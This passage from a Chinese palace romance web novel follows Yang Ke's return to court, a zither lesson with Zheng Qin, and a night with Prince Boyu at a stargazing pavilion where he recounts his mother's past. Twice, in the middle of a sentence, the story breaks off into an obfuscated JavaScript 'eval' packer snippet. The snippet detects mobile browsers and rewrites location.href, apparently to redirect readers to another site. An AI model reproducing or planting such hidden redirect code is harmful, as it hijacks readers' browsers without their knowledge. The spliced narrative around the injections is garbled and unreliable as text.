“不然呢?”宇文泰抽回手,漫不经心地甩去剑上血珠,“想要打消父皇的猜忌,总得有人当这场戏的‘苦肉’。” “那我岂不是白替你挨了那一剑!”杨柯大叫一声,接着眼珠一转,“这么看来,我欠你的人情,算是两情了。” 宇文泰冷哼一声:“可以这么说。” 杨柯望着他手上包扎的动作,又问道:“若是有人故意陷害你,这回他没得手,以后你要怎么办?” 宇文泰隐约一笑:“你还是操心操心自己的腿吧。”他已经自己将伤口包扎完毕,利落地将外衣铺在地面,顺势躺了下去,两手枕着脑后,火光在他下颌投下明暗交错的阴影。 杨柯见他躺下睡去,也挪了挪身体,躺在了地上。心思旋即飞到了千里之外的滁州,伯喻此刻在做什么呢?他身体可还安全?念及此,杨柯的心里一阵复杂,不禁轻轻叹了口气。 宇文泰的声音传来:“这种时候,烦心的事就不要去想了。” 听了他的话,杨柯心里仿佛被点了一下,旋即明白他的意思,忍不住说道:“谢谢你。” 他哼了一声,转了个身,便没了声音。杨柯也收回了心思,闭上眼,沉沉睡去。 也许是昨日摔了一跤,杨柯这晚上睡得格外沉,早上被林子里出来觅食的小兔子给舔醒。 她睁开睡眼,往四处张望,宇文泰早已不见踪影,昨夜的火堆也燃烧殆尽。坐起身,一件玄色的外袍从身上滑了下来,看来他并未离开。 方才叫醒杨柯的兔子也没走,在她腿边磨磨蹭蹭,嘴里含着新鲜的树叶。 杨柯见它嗫嗫嚅嚅,粉嫩的耳朵随着嘴巴的动作歪歪扭扭,甚是可爱,让她想起了庆宁郡主。她俯下身子,一手摸着兔子的毛,一边将脸贴近小兔子,绒毛软软滑滑,心里甚是满足。 “可算是睁眼了。”宇文泰从远处徐徐走来,声音里难得带着几分轻快。 杨柯抬手挡住刺目的光线,眯着眼辨认来人轮廓:“你去哪儿了?” “我在山坡顶上发现了昨日骑过的马,那畜生倒念旧。守在昨日落崖处整整一夜。”他拾起地上的外衣,“咱们骑着马,应该能找到出去的路。” 二人来到了山坡底下,杨柯刚扶住树干,站稳脚跟,忽听宇文泰道:“抱紧我。” 杨柯顿时蒙了,顺着山坡向上望去,才反应过来宇文泰得抱着自己,两人才能飞上去。 宇文泰又重复道:“现在不抱紧,等会掉下来我可不负责。” 杨珂应了一声,倾身向前,双手环着他的脖颈,低头等待他的动作。可过了半晌,宇文泰都一动不动。杨柯狐疑地抬头瞧他,他无奈道:“我是让你抱紧我,不是让你勒紧我。”原来杨柯死死地扣住了宇文泰的脖子,勒得他脸色发红,连气息都运不上来。 杨柯抱歉地笑了笑,旋即放了些手上的力气。 须臾之间,只听呼的一声,宇文泰脚下一点,二人便凌空跃起。宇文泰的轻功极为高超,抱着杨柯却丝毫不显笨拙,反而更加游刃有余。 终于,二人稳稳地落在了山坡上,宇文泰将手放在嘴边吹哨,一匹黑色骏马奔腾而来。 32.回宫 等黑马停在他们身前,宇文泰托起杨柯的腰,双手用力将她送到了马背上,很快,他也坐了上来。 “驾!”宇文泰拍马提缰,黑马四蹄翻飞,向前疾驰。 “你知道往哪个方向走?”杨柯见他胸有成竹地行进,忍不住询问。 “早晨我骑着穷奇走了一圈,做了标记,竟然找到当时打斗遗留下的箭矢,顺着脚印往外走,兴许能找到些新的线索。” 杨柯顺着他的思路问道:“若我们在那附近等待,是不是就能等到救兵?” “希望如此。”宇文泰简短地回应,思绪专注在寻找标记上。 “殿下——”一声高喝远远传来,杨柯应声大呼:“我们在这里!” 所幸云昌吉带领的禁军队伍及时赶到,接应受伤的宇文泰和杨柯返回营地。皇帝得知二人平安,龙颜大悦,亲自前来探望。但见他二人一个瘸了腿,一个手臂受伤,又是心痛不已,当即下令彻查林场可疑之人。 过了两三日的光景,一行人马便启程回宫。杨柯坐在回城的轿辇之上,望着帘外闪过的风景,想起了这几日发生过的种种,宴席上的惊险,乐白的坠马,伯喻的告白,宇文泰的照顾……她只希望能留下美好的,那些不幸的,在未来的日子里可以转圜。 日子又回到了以前的模样,唯一让杨柯苦恼的便是郑钦的琴术课。一日下课后,杨柯又被他留在琴音馆里,罚练一个时辰。郑钦乃郑仪之子,这人也是怪,郑仪此人虽不大靠谱,但郑家好歹也是名门世家,几代在朝为官,可这郑钦却对仕途毫无兴趣,只喜欢弹琴,还考进了皇宫的尚音局做司音,因而跟伯喻的关系也极为亲近。 “若今日还练不好,便不准回宫。” 杨柯抬眼瞄他,见他目光全然放在自己的琴上,便偷偷运功作起弊来。 “若再用气,便多加一个时辰。”猛一抬头,郑钦正定定地看着自己。 杨柯尴尬地收回了手腕,纳闷腹诽道:“这也能看见?怎么搞的?” 他在十尺开外答道:“你会武功,不代表我不会。” 她惊讶道:“你居然也会轻功?为何还待在宫里?” 他翻了个白眼:“我跟你不同,在下可有官职在身,拿的是朝廷的俸禄!”说着双手抱拳,往空中作了一揖,和他面前的古琴搭配着看竟格外的滑稽。 杨柯故意激他道:“什么官职,别告诉我是琴师吧?” 他脸僵了一僵,忙道:“不错,琴师的身份岂是凡夫俗子所能企及?要担任此职,首先需精通古今乐理,无论是雅乐还是俗曲,都得如数家珍,信手拈来。” 说到此,杨柯突然想到了上次在观星阁内伯喻提到的《广陵散》,于是道:“那师父可知道嵇康的《广陵散》?” 他眉头一立,又气又急:“你当我是什么草包?《广陵散》乃天下名曲,谁人不知?” 杨柯笑道:“郑师父当然知道了。徒弟前几日翻阅古代琴谱,看了广陵散,书上面说嵇康被处决后,广陵散不幸失传,后人找到了琴谱,却一直在最后一音上颇有争论,徒弟甚是好奇,师父乃皇家琴师,千挑万选而来,可晓得《广陵散》的最后一个音是什么调?” 郑钦清了清嗓子:“自然是角调。” 居然答对了,郑钦见杨柯面露惊讶,脸上浮现出得意之色,又继续道:“嵇康乃性情高洁之名士,在养生之道上颇有研究,悟得邙山乃华夏生灵之脐,临死前神驰邙山,奏出了角调,只因五行五音中,邙山对应于角音。” 杨柯心想,还不算是个附庸风雅之人,她改口拍起了马屁:“郑师父好修养,终于解了徒儿这段时间的困惑。” 郑钦不好意思地摇了摇头:“哪里哪里,这是为师应该做的。”想了下,又娓娓道来,“这琴师的选拔,琴艺需达到炉火纯青之境,指尖跳跃间,不仅要能演绎出高山流水的意境,更要能触动人心,令听者或喜或悲,情感随之起伏。”说着,便上手开始演奏了,一阵琴音从他手底流泻而出。 杨柯一手撑着头,只想让他自己把这一个时辰给耗过去,到了点自己即刻走人便是,于是在一旁乖乖看着。 一曲弹毕,杨柯又开口道:“这琴曲好像在哪里听过?” 他闻言道:“这便是高山流水。当年伯牙子期的名曲。” “果然,听师父曲中意,幽回婉转,如泣如诉,好像听见伯牙在徒弟耳边哀叹一般。” 他见杨柯摇头感叹,敞怀大笑,笑完又立刻变了脸色:“杨柯,别以为我不知道你在跟我耗时间,你的疑惑我也给你解答了,现在可以好好练了吧?” 未料到自己的小伎俩被他识破,杨柯刚要狡辩,他又道:“亏你还从我这儿借了不少琴谱,怎么琴技一点儿不见长?” 这琴谱当然不是给她自己练的,是拿出去给红娘准备曲目的,她自然不可能如实招来,于是打哈哈道:“那还不是没有师父如今这般手拿把掐地指导,之前浪费了那些时间,练了也是白练。” 郑钦道:“听你的意思,是想日日在我这琴音馆里泡着了?” 她忙摇头干笑:“师父日理万机,哪里来的这么多时间监督徒弟呢?徒弟还是不给师父添麻烦了。” “我听闻宣王殿下同你走得很近,他琴技精绝,你怎么一点儿好没学到?” 被人提起的甜蜜似乎总有双倍的幸福。杨柯的脸上忍不住漾开一个笑,郑钦自然将她的反应看在眼里,啧起了嘴:“你们两个果然有猫腻。” “松风,怎么今日不练琴,反倒折磨起学生来了?”郑钦的话音刚落,伯喻的声音便传了进来。 杨柯心下大喜,忙探头望去:“伯喻!” 他走进门,带着一身的余晖,清隽身影在夕阳下卓然而立。 “说曹操曹操到。”郑钦笑着摇头,站起身来迎接他,“大忙人怎么有空来我这儿了?” 伯喻笑了笑:“我来向郑先生要人。”说完转头看向杨柯,眼里满是温柔。 郑钦见他二人此刻便旁若无人起来,于是没好气道:“好嘛,恩爱到我跟前儿了。可是我的徒弟还没练完,还请宣王殿下一个时辰后再来。” “哪里是一个时辰,都过了大半了!”杨柯急得大声纠正。 郑钦扬了扬眉:“我说一个时辰就是一个时辰,方才你与我费了那么多口舌,练了几时的琴?” 杨柯泄下气来,一屁股坐到了垫子上。 伯喻向她望了一眼,示意其不必担心,接着对郑钦道:“无妨,练琴而已,我带她去别处练,可好?” 郑钦装作好奇:“你们会好好练吗?”他的目光在他们身上徘徊,“别以为我不知道你们想糊弄我,必定又要去哪儿谈情说爱了。” 杨柯扮作可怜状:“郑师父,反正你把我按在这儿练,我也不会乖乖听话,倒不如让我跟了殿下去,他说的话我一定听。” 郑钦动摇了一瞬,犹疑地看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416000|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她,又看了看伯喻。伯喻对他点了点头,郑钦只好无奈道:“好吧,我也不做招人嫌的法海了。不过我再最后嘱咐一句,下节课前一定要学会这首《湘妃三绝》。” 杨柯忙点头答应,赶紧从垫子上起身,几步奔到伯喻身边,“师父放心吧。” 郑钦手一挥:“快走吧,快走吧。” 二人许久不见,竟有些近乡情怯,杨柯小心开口道:“伯喻,你何时回的京?” 他答道:“方才。” 檐下风铃突然被风撞得叮铃作响,杨柯惊讶地望向伯喻,伯喻也含笑回视,两人心里顿时有如清泉般甘甜。 伯喻执起她的手,“你的腿怎么样了?”说着领她坐到了花园中的石椅上,低头便要查看她的右腿。 杨柯忙道:“不打紧,养了这些天,早就能走路了。” 伯喻的脸上露出担忧,还是蹲下了身子,伸手检查前,抬头看向杨柯,征求她的同意。 杨柯的脸不自觉地红了一些,点点头。 他一边检查一边道:“骨折处倒是接的不错,过几天就可痊愈,不过伤筋动骨一百天,还是不要多走动的好。” 想到坠下山崖的经历,杨柯不禁感叹:“多亏了宇文泰,要不是他,我不知道得在山林里耗多少天。” 伯喻的脸色僵了一瞬,杨柯立刻意识到说错了话,摇着头装作愤慨,找补道:“宇文泰这人也够粗手粗脚的,接骨的时候差点儿没把我疼晕过去。”说完又感觉还不如不说,救自己的是宇文泰,替自己接骨的还是宇文泰,她心中懊悔不已,还想开口,却见伯喻淡淡笑道:“阿柯,你无须因此自责,该自责的人是我。这些事,应当是我来做。” 杨柯心中感动,于是劝道:“当时你有公务在身,不在我身边也很正常。这次是我自己贪玩儿,不小心掉下去摔到了腿。” 伯喻轻轻抚过她腿上缠绕着的丝带:“这样的事不会再发生了。无论我到哪儿,都会让你在我身边。” 杨柯见他面容严肃,不想气氛沉闷下去,忍不住调侃:“那你睡觉的时候,也要我在身边?” 他笑着宠溺道:“你若愿意,又何尝不可?” 杨柯倒是被他这句话撩拨得脸红,只好佯怒道:“哪里有未出阁的女子和别的男子同寝的道理?” 他接道:“那我就把你娶回家。”还没等她反应过来,便蹲下身子,拉起她的手臂,将她从石椅上背了起来。 杨柯登时大惊,赶忙低声道:“伯喻,快放我下来!这是在宫里,不是在塞外,大家都会看见的!” 他神色自若:“让他人看见又如何?你我本就是一对。” 远处路过的宫女瞧见他们,羞得低下头慌忙走远。 杨柯无奈,只好任由他背着自己往前走。靠在他的肩膀上,颈间的松香幽幽传来,心里满是安心和甜蜜。 “伯喻,这些天在滁州开心吗?” 他笑着道:“有阿柯记挂着,我当然开心。” 听得杨柯心里暖暖的,又问道:“滁州的事可否棘手?有没有大臣刁难你?”虽然这些寥寥言语对伯喻来说并没有什么用处,他十五岁便开始协理政务,对付朝堂上下的官员恐怕早已驾轻就熟,哪里需要自己去担忧,但杨柯还是忍不住向他询问。 只听伯喻轻轻一笑:“阿柯放心,这些事办起来不难,也没有人会为难我。” 杨柯趴在他的颈窝,轻轻嗯了一声。 33.甜蜜 熏熏晚风吹来,脸上暖融融的。二人行至承影湖边,暗处竟驶出一艘乌篷船!杨柯揉了揉眼睛,再三确认眼前所见,这船的样式只会在江南出现,况且平日里承影湖上游弋的也都是雕梁画栋的绮丽舫舟,哪里来的这只小船? 伯喻似乎看懂了她的疑惑,含笑解释道:“阿柯说曾经去过越州,我想你或许会思念在越州的日子,于是命人运了艘乌篷船送来宫里。” 原是在他殿内的一句无心之语,伯喻竟记到了现在!杨柯心头蓦地泛起层层暖意,好像馋着许久糖果的稚子,突然捧得了满怀的甜蜜。 “从越州专程送来的吗?”杨柯惊讶问道,她眼前的船身与记忆中的如出一辙,船篷覆盖着青黛色的竹篾,随风轻轻摇曳,船头立着一位船夫,身着粗布衣裳,带着草帽,他双足上的草鞋都与越州河畔的一模一样。 伯喻轻声答道:“正是。” 杨柯探头往船里望去,黑漆漆的湖面与船头融为一体,一时间又是喜又是怕,不敢跨过脚步去。 伯喻见她犹豫,率先登上船头,转身向她伸出手臂:“扶着我的手。” 望向他沉静的眸子,杨柯心里的害怕一扫而光。伸出手,搭上他的,一股坚实的力量拉着她向前,稳着她立于船上。 一抬头,才反应过来,自己已被他带入怀中。两人四目相对,他的眸色仿佛泠泠月光,皎洁而温暖。静默之中,一股暧昧的气息伴着他身上的松香缓缓涌入。 杨柯脸颊一热,微微侧过了些脸。伯喻轻轻一笑,放在她腰间的手转至身前,带着她走进船内。 视线一下子暗了下去,“我们要去哪儿?”幸好一片漆黑,伯喻看不见杨柯羞红的脸。 他凑近她耳边,低声道:“一个你会喜欢的地方。”杨柯的心尖儿一颤,就连船也识趣地摇晃不定,她的神智跟着船身虚浮晃动,不知所终。 迷迷糊糊间,船便靠了岸。杨柯刚要起身,左手便被一只温暖大手包裹住,带着往前。踏上了地面,月光落在地上结成糖霜,一脚踩上去,黏一脚甜蜜芬芳。 “阿柯,我们到了。”伯喻的声音将她从梦幻中叫醒,杨柯抬头一看,面前一座五层楼高的建筑,以汉白玉筑基、琉璃瓦覆顶,层层飞檐如鹏翼舒展。每层檐角悬着八角风铃,錾刻二十八星宿。阁顶浑天仪十二道金芒直指苍穹,在月光下熠熠生辉。 “这是观星阁?之前听乐白提起过,里头有西洋进贡的大怪物,通过它的眼睛,能看到很远的星星呢。” “那个大怪物叫千里镜。”他掌心握得更紧,领着她进门,“跟我来。” 二人踏入观星阁,杨柯叫眼前景象顿住了脚步。她仰头望去,满目银辉自阁顶的穹窿倾泻而下,二十八根螭龙纹立柱拔地而起,撑起水晶穹顶,穹顶四周的水晶棱镜将月光揉碎成星子,铺了满地,恍若星河垂落人间。 伯喻含笑凝望着杨柯雀跃的身影,随着她脚步轻移,银辉在她裙裾间流转幽蓝光晕,将她化作了云汉仙子。 忽然阁顶金芒大盛,三层楼高的浑天仪急速旋转,十二道金环飞速掠过墙面,在四壁投下变幻的星图。 “小心脚下。”伯喻虚扶她手肘,语气中多了一丝温柔,“此刻到了戌时,阁里机关开始运转,地面光影复杂。” 杨柯停下了旋转的脚步,笑声来回荡悠在星图之间,“千里镜在哪儿?” 伯喻伸手指向中庭:“那便是千里镜。” 杨柯仰头望去,琉璃穹顶忽然明灭,但见水晶棱镜间游走着细密铜轨,铜轨上方的数百枚雕花铜镜随机关转动,将月光聚成一道银瀑,正落在西侧檀木架上的鎏金筒状物上。 伯喻引她绕过正在滴水的莲花漏,掀开垂落的银纱,露出覆满墙面的木架,四层暗格里静静卧着一束三丈长的黄铜望远镜,“西洋进贡时,称其能望见双星绕极,”他屈指轻弹镜身,语气中带着期许,“但愿今日能有所得。” 杨柯疑惑追问:“双星是哪双星?” “北极五星中的帝星与太子星,”伯喻目光深邃,缓缓解释道,“古有传言,双星环级,夫妇同德。” 杨柯旋即明白了他话中之义,心间怦然甜蜜。原来星光流转,河汉清浅,一切都只为风月情浓。 “喵——”一只黑猫从暗处悠然踱步而出,皮毛油亮似缎,缓缓行至杨柯脚边,尾巴轻摆。杨柯瞧得心软,蹲下身子,伸手摸上去,只觉掌心丝滑,竟比进贡的云锦还要柔软三分。 “你瞧!”杨柯眼眸弯弯,指着黑猫毛茸茸的脑袋,“它在蹭我的裙摆。”那猫儿歪着脑袋,脸颊与头顶交替磨蹭着她的裙裾,蓬松毛发微微翘起,喉咙里呼噜呼噜,甚是满足。 伯喻亦随着她蹲下身,修长手指轻轻拂过猫耳:“倒是个会撒娇的。”他目光温柔,与杨柯相视一笑,阁内银辉落在二人身上,将影子叠成温柔的轮廓。 杨柯顺着黑猫的后颈细细抚摸,猫儿顺势眯起眼睛,蜷成毛团卧在她脚边。 杨柯被它憨态可爱的样子逗笑,“看来这猫儿与我们投缘,”她抬头望向伯喻,“刚好今日是十五,不如咱俩相约,每月十五都来观星阁与它作伴,如何?” “好。”伯喻应声,眸光深沉,似藏着万千星辰,“其实,今日也是个特殊的日子。” 杨柯恍然大悟:“今日是月圆之夜,听钦天监说,今晚会有月蚀之相!” “对。”伯喻嘴角微扬,“今日也是我的生辰。” 杨柯又惊又喜:“生辰快乐!”说完又觉遗憾,蹙起眉尖道,“早知如此,我定要亲手备一份贺礼,也不枉你这番心意。”话到嘴边,她忽然顿住,伯喻贵为皇子,往年生辰定是宫宴喧天,为何今年独独邀她来这观星阁? 许是看出了她的疑惑,伯喻轻柔一笑,声音低沉而缱绻:“今年我特意恳请父皇,免去一切繁文缛节。比起满朝庆贺的虚浮热闹,我更想和你呆在一起。” 暮色漫入阁楼,烛火未燃的昏暗里,伯喻的面容被月光晕染得朦胧,但却格外楚楚动人。 “伯喻,你这般情意,我怎会不懂……”杨柯垂眸轻叹,“可你如此用心,我却没有什么好东西能够送你。” 伯喻见她神色动容,语气也松软下来:“我什么都不需要。你在我身边,就是最好的生辰礼物。” 月亮终于露出了头,照亮了屋内的二人。他们在月光下四目相对,伯喻的眼眸炙热,仿佛沉寂多年的火山猛然爆发,要将她吞噬。他俯下身来,滚烫的呼吸灼灼地落在杨柯的脸上,恍若汩汩熔浆灼痛脸颊上的皎皎月光。 下一刻,温热的唇便轻轻触碰上杨柯的唇畔,仿佛扑火一般,那份悸动沿着身体窜进了心底。 “喵!”黑猫又在身后开始出声了。 杨柯的目光被吸引了去,伯喻将手揽上她的腰,一下子拉近了距离。 “阿柯,”他唤起她的名字,眼神灼热地直视着她,“今晚你的注意力都要给我。” “好。”两人默契一笑,心中明白这一次可不会再被打扰了。 杨柯嗔道:“上次亲的不够,这次要久一点。” 伯喻轻笑一声,放在她腰间的手不轻不重地捏了下,褐色眼眸闪过一丝促狭,藏着细碎的星光,接着拉近了最后一分距离,将唇抵上了她的,灵巧的舌头撬开她的双齿,纠缠在一起。 伯喻带领着杨柯汲取唇间的甜蜜,夺走她的气息,又在她快要支撑不住时又传递回来,像是用点心诱哄小孩一般。 杨柯听到自己的心在砰砰狂跳,专属于伯喻的气息从衣颈钻进全身,勾起的酥麻更让她如着火般难捱。她手脚发软,只好攀住他的肩膀喘气,伯喻抱住她的身子,低沉的嗓音从耳边传来:“久一点便受不了了么?” 杨柯娇嗔着瞪了他一眼,伯喻猛地俯身,将她拦腰抱起,径直走向阁内的寝榻上去。 这么多年浸淫紫英阁,杨柯不可能不明白接下来会发生什么。 她勾住伯喻的脖颈,心中虽有担忧,但却毫无畏惧:我喜欢他,他也喜欢我,便没有什么可后悔的。 伯喻将她妥帖地放在榻上,却并未着急着再继续。 “你知道吗,”他抚上杨柯的脸,眼中满是柔情,“今日是我这辈子过得最快乐的生辰。” 杨柯心中暖意融融,看着他的俊颜,情不自禁地又亲了上去。 这一次的亲吻并不像方才那般绵缓漫长,伯喻的吻猛烈而强势,仿佛有火焰在烧。杨柯不顾一切地迎接上去,与他唇齿相依,忘记了思考,也不想思考,只是本能地想要抱紧他。 伯喻滚烫的指尖顺着杨柯的腰侧一路向上,停在她的脖颈边,唇齿也松开了她的。 他盯着杨柯的领口细缝露出的雪肤,眼神幽暗,仿佛一颗浮光暗动的宝石,泛着摄人心魄的光。 杨柯握住他的手,想要放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442305|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到胸前,伯喻极快地抽出,反握住她的,嗓音喑哑:“不行。” “你我相爱,有何不可?” “你尚未出阁,我不能害了你。”伯喻站起身来,白衣广袖离开了床榻。 一阵凉风吹过,仿佛带走了方才的缱绻和暧昧,杨柯的神智也清醒过来,曲起膝盖,轻轻环抱住自己。 伯喻见她神色低落,又坐了回去,伸开双臂拥她入怀,柔声道:“虽然这只是早晚的事情,但我最不希望的,便是你因此落了不好的名声。” 杨柯抬起头看向他:“我明白你的顾虑,可是……” “你不明白,”伯喻握住她的手,眼中情感复杂,“名誉对女子来说有多重要。我的额娘便是受此折磨。” 第一次听他主动提起瑾妃的往事,这何尝不是敞开心扉,杨柯不禁为之触动,看着他忧郁的样子,也握住他的手,传递给他安慰。 他继续道:“在我小的时候,便常常听闻宫人非议额娘,因着额娘嫁给父皇之前,便许配给了他人。额娘以为我不懂,便骗我那些人是在胡说。可我知道,他们说的并非有假。” “怎么会?”杨柯惊疑道,瑾妃是柔然的公主,怎么可能在出嫁大夏之前便有了夫婿,若有这样的传闻,皇上又怎么可能答应这门婚事? “额娘在柔然之时,早已和另一人以身相许。他是大夏曾经的将军,也是被父皇派往柔然的间谍——江云尧。”伯喻的眼神在此刻格外的冰冷,仿佛变了一个人,“他化名柳无暇潜伏在柔然。额娘嫁到大夏之前就与他私定终身,甚至不惜与整个柔然王室作对。柳无暇在真实身份暴露前,深受柔然王的赏识。不过此人确实厉害,文能治理边城,武能统领一军。当时柔然王室贵族的女子不知道有多少为他倾心。额娘与他的结合,也算是金童玉女。可后来朔州爆发大战,柔然才发现他竟然是大夏派出的间谍,已经埋伏在柔然七年之久。” “七年,”他念着这两个字,目光冰冷,“七年的时间足够长到可以改变一个人。可这个人不是他,而是额娘。柔然也因为他彻底败于大夏,从此割地赔款,沦为大夏的附庸国,直到后来阿骨打将军的出现才扭转了局面。”伯喻的脸上浮现出了自豪,杨柯逐渐意识到他对于柔然的情感非同一般。 杨柯小时候时常听爹爹说起柔然与大夏的恩怨。柔然在二十年前,因为阿骨打将军屡次获胜,夺回了不少当年割让的土地,终于得以扬眉吐气,可后来柔然发生内乱,阿骨打将军遭奸人陷害,英年早逝,柔然也因此一蹶不振。她现在都还记得自己追着爹爹询问阿骨打将军的英勇事迹时,爹爹那幅万般惋惜的样子。 “那后来呢?” 他深深叹了口气:“当时额娘执迷不悟,不肯相信是柳无暇背叛了柔然,甚至在柔然朝堂之上公然维护他,自然引发了众怒。当时大夏索要太多财宝,柔然早已负担不起,只能用和亲息事宁人。” “于是公主便被送到了大夏,成为了瑾妃。”杨柯替他接了下去。 “即便父皇宠爱有加,宫里关于额娘和亲前与江云尧的非议却从未停歇,宫人构陷之事更是屡见不鲜。纵使父皇再疼爱额娘,可他心里怎能安稳?额娘又从小贵为公主,天生傲骨,即使容得下他人谗言佞语,也无法忍受枕边之人对其怀疑。最后,就连额娘去世,父皇都没来看一眼。” 伯喻的眸子垂了下去,杨柯不禁心疼,拥住他的肩膀,轻抚他的脸颊:“别担心,我们不会重蹈覆辙的。” 伯喻转过头,眼眸猩红地望着她:“阿柯,总有一天,我会正式迎娶你。” 还没等杨柯回应,月光突然暗了下去,檐角风铃突然发出尖锐的铮鸣,阁里的烛火被凉风熄灭,整个屋里顿时漆黑一片。 突如其来的黑暗让杨柯感到恐惧,她慌乱地摸索着,声音带着不易察觉的颤抖:“伯喻?” “我在这。”伯喻温热的掌心覆了上来,另一只手揽住她的肩膀,将她稳稳带入松香的怀抱。 杨柯靠向他的胸膛,此刻两颗心是如此地贴近。 伯喻的指腹轻轻摩挲着她的脸颊,吻再次覆了上来,在她的唇上转辗着。 一切回归安静,只有复燃的暧昧余存,他喑哑的嗓音带着低笑传来:“阿柯,你说我要如何才能熬过这段时日?” 月亮重新探出了头,照亮了屋内的眷侣。 “也许这是上天对你真心的考验。”